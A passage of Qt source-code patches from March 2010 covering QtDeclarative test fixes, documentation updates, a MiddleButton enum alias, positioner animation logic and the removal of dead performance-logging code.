bug1(); + void dynamicCreationCrash(); void callQtInvokables(); private: @@ -1227,6 +1228,19 @@ void tst_qdeclarativeecmascript::bug1() delete object; } +// Don't crash in createObject when the component has errors. +void tst_qdeclarativeecmascript::dynamicCreationCrash() +{ + QDeclarativeComponent component(&engine, TEST_FILE("dynamicCreation.qml")); + MyQmlObject *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready"); + QMetaObject::invokeMethod(object, "dontCrash"); + QObject *created = object->objectProperty(); + QVERIFY(created == 0); +} + void tst_qdeclarativeecmascript::callQtInvokables() { MyInvokableObject o; -- cgit v0.12 From 71be51f256edbac81966e1d65ef6f774f5fa17e9 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 09:44:24 +1000 Subject: Fix Behavior documentation due to easing changes. --- src/declarative/util/qdeclarativebehavior.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp index d90ca33..1e000df 100644 --- a/src/declarative/util/qdeclarativebehavior.cpp +++ b/src/declarative/util/qdeclarativebehavior.cpp @@ -83,7 +83,8 @@ public: y: 200 // initial value Behavior on y { NumberAnimation { - easing: "easeOutBounce(amplitude:100)" + easing.type: "OutBounce" + easing.amplitude: 100 duration: 200 } } -- cgit v0.12 From 6ed43975f6733265b8b91b00a9a212076d896ef9 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 22 Mar 2010 10:53:06 +1000 Subject: Fix qdeclarativetextedit::delegateLoading autotest After d039e2e8307, this test broke because of restricted remote imports. --- .../declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml | 1 + tests/auto/declarative/qdeclarativetextedit/data/http/qmldir | 4 ++++ 2 files changed, 5 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/http/qmldir diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml index a44e867..de4de00 100644 --- a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml +++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml @@ -1,4 +1,5 @@ import Qt 4.6 +import "http://localhost:42332" Rectangle { width: 300; height: 300; color: "white" resources: [ diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir new file mode 100644 index 0000000..886e6ff --- /dev/null +++ b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir @@ -0,0 +1,4 @@ +ErrItem ErrItem.qml +NormItem NormItem.qml +FailItem FailItem.qml +WaitItem WaitItem.qml -- cgit v0.12 From 897ecf7dab2a34dbf3abf5167dc19a405f65a112 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 11:17:36 +1000 Subject: Add MiddleButton = MidButton to MouseButtons enum. Task-number: QTBUG-6617 Reviewed-by: Alexis Menard --- src/corelib/global/qnamespace.h | 3 ++- src/corelib/global/qnamespace.qdoc | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h index 89a0c0b..1ef875f 100644 --- a/src/corelib/global/qnamespace.h +++ b/src/corelib/global/qnamespace.h @@ -146,7 +146,8 @@ public: NoButton = 0x00000000, LeftButton = 0x00000001, RightButton = 0x00000002, - MidButton = 0x00000004, + MidButton = 0x00000004, // ### Qt 5: remove me + MiddleButton = MidButton, XButton1 = 0x00000008, XButton2 = 0x00000010, MouseButtonMask = 0x000000ff diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index f8f3c49..8f9902f 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -185,6 +185,7 @@ left-handed mice.) \value RightButton The right button. \value MidButton The middle button. + \value MiddleButton The middle button. \value XButton1 The first X button. \value XButton2 The second X button. -- cgit v0.12 From 0dcdb5cf31c99968b2e7e45ddc985997593a865c Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 22 Mar 2010 11:31:56 +1000 Subject: Fix qdeclarativeqt::createQmlObject autotest The warning message expected in this test changed. --- tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml | 4 ++-- tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp | 10 ++++++---- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml index 9150782..54a3e7d 100644 --- a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml +++ b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml @@ -7,7 +7,7 @@ Item { property bool incorrectArgCount2: false property bool emptyArg: false property bool noParent: false - property bool notReady: false + property bool notAvailable: false property bool runtimeError: false property bool errors: false @@ -20,7 +20,7 @@ Item { emptyArg = (createQmlObject("", root) == null); errors = (createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13\nproperty int test: 13\n}", root, "main.qml") == null); noParent = (createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13}", 0) == null); - notReady = (createQmlObject("import Qt 4.6\nQtObject{\nBlah{}\n}", root, "http://www.example.com/main.qml") == null); + notAvailable = (createQmlObject("import Qt 4.6\nQtObject{Blah{}}", root) == null); runtimeError = (createQmlObject("import Qt 4.6\nQtObject{property int test\nonTestChanged: QtObject{}\n}", root) == null); var o = createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13\n}", root); diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp index debec02..4987557 100644 --- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp +++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp @@ -301,15 +301,17 @@ void tst_qdeclarativeqt::createQmlObject() QString warning1 = "QDeclarativeEngine::createQmlObject():"; QString warning2 = " " + TEST_FILE("main.qml").toString() + ":4:1: Duplicate property name"; - QString warning3 = "QDeclarativeEngine::createQmlObject(): Component is not ready"; - QString warning4 = "QDeclarativeEngine::createQmlObject():"; - QString warning5 = " " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method"; + QString warning3 = "QDeclarativeEngine::createQmlObject():"; + QString warning4 = " " + TEST_FILE("inline").toString() + ":2:10: Blah is not a type"; + QString warning5 = "QDeclarativeEngine::createQmlObject():"; + QString warning6 = " " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method"; QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5)); + QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6)); QObject *object = component.create(); QVERIFY(object != 0); @@ -319,7 +321,7 @@ void tst_qdeclarativeqt::createQmlObject() QCOMPARE(object->property("emptyArg").toBool(), true); QCOMPARE(object->property("errors").toBool(), true); QCOMPARE(object->property("noParent").toBool(), true); - QCOMPARE(object->property("notReady").toBool(), true); + QCOMPARE(object->property("notAvailable").toBool(), true); QCOMPARE(object->property("runtimeError").toBool(), true); QCOMPARE(object->property("success").toBool(), true); -- cgit v0.12 From 84caca8dc56c569dc7b416d6a41e9ca8cda5f14f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 12:19:17 +1000 Subject: Ensure positioner animations are triggered correctly Task-number: QTBUG-9219 --- .../graphicsitems/qdeclarativepositioners.cpp | 43 +++++++++++++--------- 1 file changed, 25 insertions(+), 18 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 0f59a70..3391ac9 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -225,20 +225,21 @@ void QDeclarativeBasePositioner::prePositioning() d->watchChanges(child); positionedItems.append(posItem); item = &positionedItems[positionedItems.count()-1]; + item->isNew = true; + if (child->opacity() <= 0.0 || !child->isVisible()) + item->isVisible = false; } else { item = &oldItems[wIdx]; + if (child->opacity() <= 0.0 || !child->isVisible()) { + item->isVisible = false; + } else if (!item->isVisible) { + item->isVisible = true; + item->isNew = true; + } else { + item->isNew = false; + } positionedItems.append(*item); } - if (child->opacity() <= 0.0 || !child->isVisible()) { - item->isVisible = false; - continue; - } - if (!item->isVisible) { - item->isVisible = true; - item->isNew = true; - } else { - item->isNew = false; - } } doPositioning(); if(d->addTransition || d->moveTransition) @@ -261,11 +262,14 @@ void QDeclarativeBasePositioner::positionX(int x, const PositionedItem &target) { Q_D(QDeclarativeBasePositioner); if(d->type == Horizontal || d->type == Both){ - if(!d->addTransition && !d->moveTransition){ - target.item->setX(x); - }else{ - if(target.isNew) + if (target.isNew) { + if (!d->addTransition) + target.item->setX(x); + else d->addActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x)); + } else if (x != target.item->x()) { + if (!d->moveTransition) + target.item->setX(x); else d->moveActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x)); } @@ -276,11 +280,14 @@ void QDeclarativeBasePositioner::positionY(int y, const PositionedItem &target) { Q_D(QDeclarativeBasePositioner); if(d->type == Vertical || d->type == Both){ - if(!d->addTransition && !d->moveTransition){ - target.item->setY(y); - }else{ - if(target.isNew) + if (target.isNew) { + if (!d->addTransition) + target.item->setY(y); + else d->addActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y)); + } else if (y != target.item->y()) { + if (!d->moveTransition) + target.item->setY(y); else d->moveActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y)); } -- cgit v0.12 From 3d9ea4d3b1cf81710ba5ef843399c8625e1ccd9f Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 22 Mar 2010 12:26:55 +1000 Subject: Fix test. Use a custom type to test this language feature, rather than PropertyChanges. --- .../qdeclarativelanguage/data/dynamicObject.1.qml | 2 +- .../auto/declarative/qdeclarativelanguage/testtypes.cpp | 3 +++ tests/auto/declarative/qdeclarativelanguage/testtypes.h | 16 ++++++++++++++++ 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml index 85d1052..930bf2c 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml @@ -1,6 +1,6 @@ import Test 1.0 import Qt 4.6 -PropertyChanges { +MyCustomParserType { propa: a + 10 propb: Math.min(a, 10) propc: MyPropertyValueSource {} diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index 6efe755..623775a 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -51,6 +51,9 @@ void registerTypes() qmlRegisterType("Test",1,0,"MyNamespacedType"); qmlRegisterType("Test",1,0,"MySecondNamespacedType"); qmlRegisterType(); + + qmlRegisterCustomType("Test", 1, 0, "MyCustomParserType", "MyCustomParserType", + new MyCustomParserTypeParser); } QVariant myCustomVariantTypeConverter(const QString &data) diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index 4963e2e..8c163a5 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -54,6 +54,8 @@ #include #include +#include + QVariant myCustomVariantTypeConverter(const QString &data); class MyInterface @@ -560,6 +562,20 @@ namespace MyNamespace { QML_DECLARE_TYPE(MyNamespace::MyNamespacedType); QML_DECLARE_TYPE(MyNamespace::MySecondNamespacedType); +class MyCustomParserType : public QObject +{ + Q_OBJECT +}; + +class MyCustomParserTypeParser : public QDeclarativeCustomParser +{ +public: + QByteArray compile(const QList &) { return QByteArray(); } + void setCustomData(QObject *, const QByteArray &) {} +}; + +QML_DECLARE_TYPE(MyCustomParserType); + void registerTypes(); #endif // TESTTYPES_H -- cgit v0.12 From 286a073085c1920cf891f479eb1a5f70b1c4daac Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 22 Mar 2010 12:52:51 +1000 Subject: Fix warning mentioned in the comments of QTBUG-9182. Make sure the 'stackBefore' sibling in ParentChanges is cleared if the target is the last child. --- src/declarative/util/qdeclarativestateoperations.cpp | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 0946e88..96c75a9 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -456,11 +456,10 @@ void QDeclarativeParentChange::saveCurrentValues() } d->rewindParent = d->target->parentItem(); + d->rewindStackBefore = 0; - if (!d->rewindParent) { - d->rewindStackBefore = 0; + if (!d->rewindParent) return; - } //try to determine the item's original stack position so we can restore it int siblingIndex = ((AccessibleFxItem*)d->target)->siblingIndex() + 1; -- cgit v0.12 From 45f9759f884ae34cd7e52ad5aebe23549cd4f6be Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 18 Mar 2010 14:56:22 +1000 Subject: Remove dead performance measurement code from QML --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 5 - src/declarative/graphicsitems/qdeclarativepath.cpp | 5 - .../graphicsitems/qdeclarativepositioners.cpp | 4 - src/declarative/graphicsitems/qdeclarativetext.cpp | 8 - .../graphicsitems/qdeclarativetextedit.cpp | 2 - src/declarative/qml/qdeclarativebinding.cpp | 5 - src/declarative/qml/qdeclarativecompiler.cpp | 6 +- src/declarative/qml/qdeclarativecomponent.cpp | 2 - src/declarative/qml/qdeclarativeengine.cpp | 2 - src/declarative/qml/qdeclarativeexpression.cpp | 8 - src/declarative/qml/qdeclarativeparser.cpp | 2 - src/declarative/qml/qdeclarativescriptparser.cpp | 5 - src/declarative/qml/qdeclarativevme.cpp | 3 +- src/declarative/util/qdeclarativepixmapcache.cpp | 2 - src/declarative/util/qdeclarativeutilmodule.cpp | 2 - src/declarative/util/qdeclarativeview.cpp | 12 -- src/declarative/util/qfxperf.cpp | 67 -------- src/declarative/util/qfxperf_p_p.h | 90 ---------- src/declarative/util/qperformancelog.cpp | 181 --------------------- src/declarative/util/qperformancelog_p_p.h | 141 ---------------- src/declarative/util/util.pri | 4 - src/imports/particles/qdeclarativeparticles.cpp | 4 - tools/qml/qmlruntime.cpp | 5 - 23 files changed, 2 insertions(+), 563 deletions(-) delete mode 100644 src/declarative/util/qfxperf.cpp delete mode 100644 src/declarative/util/qfxperf_p_p.h delete mode 100644 src/declarative/util/qperformancelog.cpp delete mode 100644 src/declarative/util/qperformancelog_p_p.h diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 4ba80ad..9b1bdba 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -45,7 +45,6 @@ #include "qdeclarativeevents_p_p.h" #include -#include #include #include #include @@ -2491,10 +2490,6 @@ void QDeclarativeItem::classBegin() */ void QDeclarativeItem::componentComplete() { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer cc; -#endif - Q_D(QDeclarativeItem); d->_componentComplete = true; if (d->_stateGroup) diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index 80586b8..20fa983 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -42,8 +42,6 @@ #include "qdeclarativepath_p.h" #include "qdeclarativepath_p_p.h" -#include - #include #include @@ -356,9 +354,6 @@ static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bez void QDeclarativePath::createPointCache() const { Q_D(const QDeclarativePath); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer pc; -#endif qreal pathLength = d->_path.length(); const int points = int(pathLength*2); const int lastElement = d->_path.elementCount() - 1; diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 3391ac9..ded58f5 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -46,7 +46,6 @@ #include #include #include -#include #include #include @@ -164,9 +163,6 @@ void QDeclarativeBasePositioner::componentComplete() { Q_D(QDeclarativeBasePositioner); QDeclarativeItem::componentComplete(); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer cc; -#endif positionedItems.reserve(d->QGraphicsItemPrivate::children.count()); prePositioning(); } diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 05139f6..b0b5f6d 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -43,8 +43,6 @@ #include "qdeclarativetext_p_p.h" #include -#include - #include #include #include @@ -152,9 +150,6 @@ void QDeclarativeText::setFont(const QFont &font) void QDeclarativeText::setText(const QString &n) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer st; -#endif Q_D(QDeclarativeText); if (d->text == n) return; @@ -876,9 +871,6 @@ void QDeclarativeText::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWid void QDeclarativeText::componentComplete() { Q_D(QDeclarativeText); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer cc; -#endif QDeclarativeItem::componentComplete(); if (d->dirty) { d->updateLayout(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index dbae47d..7dacfbb 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -44,8 +44,6 @@ #include "qdeclarativeevents_p_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 090bd5b..a7047ab 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -49,8 +49,6 @@ #include "qdeclarativedeclarativedata_p.h" #include "qdeclarativestringconverters_p.h" -#include - #include #include @@ -126,9 +124,6 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) { Q_D(QDeclarativeBinding); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer bu; -#endif QDeclarativeBindingData *data = d->bindingData(); if (!data->enabled) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 42d2950..103e918 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -67,8 +67,6 @@ #include "qdeclarativecompiledbindings_p.h" #include "qdeclarativeglobalscriptclass_p.h" -#include - #include #include #include @@ -77,6 +75,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -546,9 +545,6 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine, QDeclarativeCompositeTypeData *unit, QDeclarativeCompiledData *out) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer pc; -#endif exceptions.clear(); Q_ASSERT(out); diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index 8922751..ec595e3 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -54,8 +54,6 @@ #include "qdeclarativeglobal_p.h" #include "qdeclarativescriptparser_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index f49b17d..5820961 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -69,8 +69,6 @@ #include "qdeclarativelist_p.h" #include "qdeclarativetypenamecache_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp index 9eed345..b7ee3a4 100644 --- a/src/declarative/qml/qdeclarativeexpression.cpp +++ b/src/declarative/qml/qdeclarativeexpression.cpp @@ -353,10 +353,6 @@ void QDeclarativeExpressionPrivate::exceptionToError(QScriptEngine *scriptEngine QVariant QDeclarativeExpressionPrivate::evalQtScript(QObject *secondaryScope, bool *isUndefined) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer perfqt; -#endif - QDeclarativeExpressionData *data = this->data; QDeclarativeEngine *engine = data->context()->engine; QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); @@ -466,10 +462,6 @@ QVariant QDeclarativeExpressionPrivate::value(QObject *secondaryScope, bool *isU if (data->expression.isEmpty()) return rv; -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer perf; -#endif - QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(q->engine()); QDeclarativeExpression *lastCurrentExpression = ep->currentExpression; diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp index 51f1660..6e6080e 100644 --- a/src/declarative/qml/qdeclarativeparser.cpp +++ b/src/declarative/qml/qdeclarativeparser.cpp @@ -52,8 +52,6 @@ #include "parser/qdeclarativejsast_p.h" #include "parser/qdeclarativejsengine_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index fe516c5..2578ff4 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -50,8 +50,6 @@ #include "parser/qdeclarativejsast_p.h" #include "qdeclarativerewrite_p.h" -#include - #include #include #include @@ -866,9 +864,6 @@ public: bool QDeclarativeScriptParser::parse(const QByteArray &qmldata, const QUrl &url) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer pt; -#endif clear(); const QString fileName = url.toString(); diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index 4457404..b3144a8 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -61,8 +61,6 @@ #include "qdeclarativeglobal_p.h" #include "qdeclarativescriptstring.h" -#include - #include #include #include @@ -72,6 +70,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index 942d5f6..e78fdf1 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -43,8 +43,6 @@ #include "qdeclarativenetworkaccessmanagerfactory.h" #include "qdeclarativeimageprovider.h" -#include "qfxperf_p_p.h" - #include #include #include diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 4d4678a..cb35734 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include "qdeclarativeutilmodule_p.h" -#include "qfxperf_p_p.h" #include "qdeclarativeanimation_p.h" #include "qdeclarativeanimation_p_p.h" #include "qdeclarativebehavior_p.h" @@ -71,7 +70,6 @@ #ifndef QT_NO_XMLPATTERNS #include "qdeclarativexmllistmodel_p.h" #endif -#include "qperformancelog_p_p.h" void QDeclarativeUtilModule::defineModule() { diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 59a062a..c2dbf92 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -41,9 +41,6 @@ #include "qdeclarativeview.h" -#include "qperformancelog_p_p.h" -#include "qfxperf_p_p.h" - #include #include #include @@ -251,13 +248,6 @@ QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent) void QDeclarativeViewPrivate::init() { -#ifdef Q_ENABLE_PERFORMANCE_LOG - { - QDeclarativePerfTimer perf; - QFontDatabase database; - } -#endif - q->setScene(&scene); q->setOptimizationFlags(QGraphicsView::DontSavePainterState); @@ -455,8 +445,6 @@ void QDeclarativeView::setRootObject(QObject *obj) if (QDeclarativeItem *item = qobject_cast(obj)) { d->scene.addItem(item); - QPerformanceLog::displayData(); - QPerformanceLog::clear(); d->root = item; d->qmlRoot = item; connect(item, SIGNAL(widthChanged(qreal)), this, SLOT(sizeChanged())); diff --git a/src/declarative/util/qfxperf.cpp b/src/declarative/util/qfxperf.cpp deleted file mode 100644 index 5611c49..0000000 --- a/src/declarative/util/qfxperf.cpp +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qfxperf_p_p.h" - -QT_BEGIN_NAMESPACE - -Q_DEFINE_PERFORMANCE_LOG(QDeclarativePerf, "QDeclarativeGraphics") { - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativeParsing, "Compilation: QML Parsing") - Q_DEFINE_PERFORMANCE_METRIC(Compilation, " QML Compilation") - Q_DEFINE_PERFORMANCE_METRIC(VMEExecution, "Execution: QML VME Execution") - Q_DEFINE_PERFORMANCE_METRIC(BindInit, "BindValue Initialization") - Q_DEFINE_PERFORMANCE_METRIC(BindValue, "BindValue execution") - Q_DEFINE_PERFORMANCE_METRIC(BindValueSSE, "BindValue execution SSE") - Q_DEFINE_PERFORMANCE_METRIC(BindValueQt, "BindValue execution QtScript") - Q_DEFINE_PERFORMANCE_METRIC(BindableValueUpdate, "QDeclarativeBinding::update") - Q_DEFINE_PERFORMANCE_METRIC(PixmapLoad, "Pixmap loading") - Q_DEFINE_PERFORMANCE_METRIC(FontDatabase, "Font database creation") - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativePathViewPathCache, "FX Items: QDeclarativePathView: Path cache") - Q_DEFINE_PERFORMANCE_METRIC(CreateParticle, " QDeclarativeParticles: Particle creation") - Q_DEFINE_PERFORMANCE_METRIC(ItemComponentComplete, " QDeclarativeItem::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(ImageComponentComplete, " QDeclarativeImage::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(BaseLayoutComponentComplete, " QDeclarativeBasePositioner::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(TextComponentComplete, " QDeclarativeText::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativeText_setText, " QDeclarativeText::setText") - Q_DEFINE_PERFORMANCE_METRIC(AddScript, "QDeclarativeScript::addScriptToEngine") -} - -QT_END_NAMESPACE diff --git a/src/declarative/util/qfxperf_p_p.h b/src/declarative/util/qfxperf_p_p.h deleted file mode 100644 index 8b65821..0000000 --- a/src/declarative/util/qfxperf_p_p.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as 